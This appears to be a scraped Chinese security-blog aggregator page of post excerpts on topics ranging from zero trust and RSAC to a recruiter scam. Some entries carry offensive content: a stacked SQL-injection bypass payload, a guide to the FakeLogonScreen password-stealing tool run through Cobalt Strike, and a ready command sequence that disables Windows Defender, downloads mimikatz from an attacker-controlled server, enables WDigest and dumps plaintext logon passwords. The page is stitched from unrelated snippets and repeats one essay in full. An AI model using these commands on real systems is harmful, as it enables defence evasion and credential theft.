CTFHub-Web技能树 - Vicen
SQL注入 绕过select 1';Set @xx=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;Prepare abc from @xx;execute abc;#(select * from `1919810
Aggregator
伪造windows登录屏幕窃取密码之FakeLogonScreen
4 years 10 months ago
在windows环境中，获取系统密码，提升系统权限。在渗透测试是经常遇到的。今天这里介绍一款伪造windows登录屏幕以达到窃取密码或题全的软件——FakeLogonScreen。
简介FakeLogonScreen这个程序是用于伪造windows登录凭证以获取系统登录密码。它会获取当前系统配置的背景图片，这样显得更加真实，成功率也会更高。
另外，该程序会对输入的密码进行Active Directory或本地计算机的认证，以确保窃取密码的准确性。它可以显示在控制台，也可以保存早文件远程系统的硬盘上。
这个软件的好处就是可以与其它工具配合使用，可以直接通过内存执行（无文件）。比如可以配合Cobalt Strike的execute-assembly来执行。
运行环境由于使用c#编写，需要系统中有.net framework框架。这里测试windows10和windows7，系统均为64位。在其release的版本中，作者给出来.net framework3.5和4.5的可执行程序。适用于windows7 和windows10等情况。实际中可根据实际情况进行选择。
利用可以配合Cobalt Strike，系统上线后，进入到beacon中，然后直接执行execute-assembly /root/Desktop/FakeLogonScreen.exe 。（后面为控制机上的文件路径，非被控机的路径）。接下来就是等待对方输入密码，即可在进入的beacon中显示输入的密码了。效果图如下：
Is Your Organization Ready for COVID-19?
4 years 10 months ago
Expect COVID-19 (Coronavirus) to touch your organization soon, if it hasn’t already. You need to be ready for shortages, slowdowns, absent personnel, and a high percentage of concurrent remote access workers.
HashCat：如何利用HashCat破解NTLMv2 hash？
4 years 10 months ago
TonghuaRoot
GCSB’s role in supporting national security decision making
4 years 10 months ago
Presentation by GCSB Director General Andrew Hampton to Otago University Pols213, 3 March 2020
Growing, Exploring and My First Conference
4 years 10 months ago
By now, we are all subject in one way or another to the far-reaching impact of COVID-19. As we see on the news each day, the numbers of those infected by this deadly coronavirus continue to grow in terrifying increments. And even for those of us without family members or friends directly impacted by the virus, life has profoundly changed.
Bridget Meuse
Windows Server 2016抓取明文密码
4 years 10 months ago
临时禁止Windows Defender
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f gpupdate /force下载mimikatz后解压缩。
powershell.exe -NoP -NonI -Exec Bypass -Command "& {Import-Module BitsTransfer; Start-BitsTransfer 'http://你的服务器/mimikatz_trunk.zip' "%APPDATA%\mimikatz_trunk.zip"}"修改注册表开启UseLogonCredential
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f等用户下次再登录的时候,可抓到明文密码
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit完成一次渗透测试项目
4 years 10 months ago
小B接到一个渗透测试任务，由于很久没有从乙方视⻆执行渗透测试的他决定先梳理一下自己的思路。
我也来喷一喷零信任
4 years 11 months ago
- 2019年12月26日 11:29
零信任安全架构的核心就是 Never Trust， Always Verify。
说白了就是针对身份实体的请求上下文做一个综合判断，最后给出allow或者deny的结论，可玩的点还是在
TonghuaRoot
Guardicore at RSA: AI-Powered Segmentation, Cloud Native Security
4 years 11 months ago
This week we?re announcing two new capabilities in our Centra Security Platform that further deliver on that mission: Support for cloud-native resources and AI-powered segmentation.
Guardicore Labs Team
2019 TLS Telemetry Report Summary
4 years 11 months ago
The Summary of the 2019 F5 Labs TLS Telemetry Report expands the scope of our research to bring deeper insights into encryption on the web, including ciphers, SSL/TLS versions, and digital certificates.
关于我
4 years 11 months ago
庚子之年，回首过去入安全这行已16年，从小兵到负责集团安全，还记得第一次面试时的忐忑，担心经验不够，无法证明
企业安全建设的体系思考与落地实践（二）
4 years 11 months ago
今天这篇文章没有太多的技术细节，也可能会让你觉得很枯燥，甚至连文章的标题我都懒得起，但是我觉得如果你实在无聊也可以读一读，或许给你些许启发。
RSAC 2020 以色列国家展台的16个标签
4 years 11 months ago
以色列，不到900万的人口，却拥有着近500家的网络安全公司，每年网络安全产业的融资规模仅次于美国，它所孕育
浅谈“竞争力”
4 years 11 months ago
最近一直在深思几个词：“竞争力”，“核心竞争力”等是什么？如何提高自己的“竞争力”等问题。
百度百科是这样解释的：
核心竞争力是指能够为企业带来比较竞争优势的资源，以及资源的配置与整合方式。随着企业资源的变化以及配置与整合效率的提高，企业的核心竞争力也会随之发生变化。凭借着核心竞争力产生的动力，一个企业就有可能在激烈的市场竞争中脱颖而出，使产品和服务的价值在一定时期内得到提升。
维基百科是这样解释的：
竞争力，是对象在竞争中显示的能力。因此它是一种随着竞争变化着的有通过竞争而体现的能力。
竞争力包含在对象的现在，但它是对象未来可以展示的能力。要测定竞争力需要确定一个测定目标时间。
要评价竞争力，需要确定一个比较竞争力的群体，根据目标时间在竞争群体中的表现评价它。测定和评价竞争力可以采用未来研究方法，但竞争力测定的是对象“现在”中包含的“未来”。
抽象以上概念，也就是”竞争力“的基础条件是2个对象，A与B，其中A是固定的值，B的取值范围是：A＞B（B无限趋近于正无穷），也就是说A的竞争力比B大。
反推以上概念，如果A要保持核心竞争力。而改变B的取值范围，公式如下：A＞B（0＜B≤1）的时候，就是A的核心竞争力对于B的竞争力是永恒的。
如果以上概念，晦涩难懂，以下以”财务自由“的概念套入：
严格意义来说：巴菲特是不是财务自由？需要考虑3个主要变量，分别是A,B,t。其中A是当下的收入，B是当下的支出，t是时间。当收入小于支出，随着t的值增大，那么财富就会减小。而t的取值范围则是：第一次初始收入≤t≤生命终止。
那么核心竞争力，同样需要考虑3个主要变量，A,B,s，其中A是固定的对象，B是对比的对象，s是增长速度。而永恒竞争力的公式如下：
A＞a（0＜a≤1），A是此刻的你，a是上一刻的你。也就是说，今天的你要优于昨天的你。不去对比，只与自己对比，并且永远大于上一刻的你，便是你自己的永恒核心竞争力，当变量S(A)＞S（B）[S为增长速度，A为你本身，B为对比对象]，便是你永恒竞争力。
百度百科是这样解释的：
核心竞争力是指能够为企业带来比较竞争优势的资源，以及资源的配置与整合方式。随着企业资源的变化以及配置与整合效率的提高，企业的核心竞争力也会随之发生变化。凭借着核心竞争力产生的动力，一个企业就有可能在激烈的市场竞争中脱颖而出，使产品和服务的价值在一定时期内得到提升。
维基百科是这样解释的：
竞争力，是对象在竞争中显示的能力。因此它是一种随着竞争变化着的有通过竞争而体现的能力。
竞争力包含在对象的现在，但它是对象未来可以展示的能力。要测定竞争力需要确定一个测定目标时间。
要评价竞争力，需要确定一个比较竞争力的群体，根据目标时间在竞争群体中的表现评价它。测定和评价竞争力可以采用未来研究方法，但竞争力测定的是对象“现在”中包含的“未来”。
抽象以上概念，也就是”竞争力“的基础条件是2个对象，A与B，其中A是固定的值，B的取值范围是：A＞B（B无限趋近于正无穷），也就是说A的竞争力比B大。
反推以上概念，如果A要保持核心竞争力。而改变B的取值范围，公式如下：A＞B（0＜B≤1）的时候，就是A的核心竞争力对于B的竞争力是永恒的。
如果以上概念，晦涩难懂，以下以”财务自由“的概念套入：
严格意义来说：巴菲特是不是财务自由？需要考虑3个主要变量，分别是A,B,t。其中A是当下的收入，B是当下的支出，t是时间。当收入小于支出，随着t的值增大，那么财富就会减小。而t的取值范围则是：第一次初始收入≤t≤生命终止。
那么核心竞争力，同样需要考虑3个主要变量，A,B,s，其中A是固定的对象，B是对比的对象，s是增长速度。而永恒竞争力的公式如下：
A＞a（0＜a≤1），A是此刻的你，a是上一刻的你。也就是说，今天的你要优于昨天的你。不去对比，只与自己对比，并且永远大于上一刻的你，便是你自己的永恒核心竞争力，当变量S(A)＞S（B）[S为增长速度，A为你本身，B为对比对象]，便是你永恒竞争力。
Micropoor
How I Avoided a Recruiter Scam
4 years 11 months ago
Recruitment scams are a serious, but often overlooked risk to job seekers. Those responsible for these schemes often play on the victim's stress levels or professional ego, by using authority to offer something that could be life changing, often with large salaries. I've personally experienced a recruitment scam. In this post, we'll explore the scam that targeted me, and the steps I took that prevented me from becoming a victim.
Danny Stern
Linux 获取 ROOT 权限后的维持小技巧
4 years 11 months ago
一个小技巧，做个笔记吧
admin
Human Element-- 为什么它是RSAC 2020创新沙盒比赛冠军
4 years 11 months ago
早晨6点多起床后，拿起手机看pei少发的现场视频，结合老于的数说直播，了2020的沙盒比赛情况。说心里话，如
The Perfect Cybersecurity Applicant is Likely a Veteran
4 years 11 months ago
We're all familiar with the problem of talent scarcity in cybersecurity. Shape Security's Jared Baker writes for Human Resources Director, discussing how veterans are often a perfect fit - if you seek them out.
Apache AJP 协议 CVE-2020-1938 漏洞分析
4 years 11 months ago
最近CVE-2020-1938炒的比较热闹，前几天比较忙，今天抽空跟了一下这个漏洞，时间线上肯定比别的大佬晚很多了，所以就选择从环境搭建开始写的详细一点，对这个漏洞多少还有一些困惑的同学可以赏脸看上两眼吧。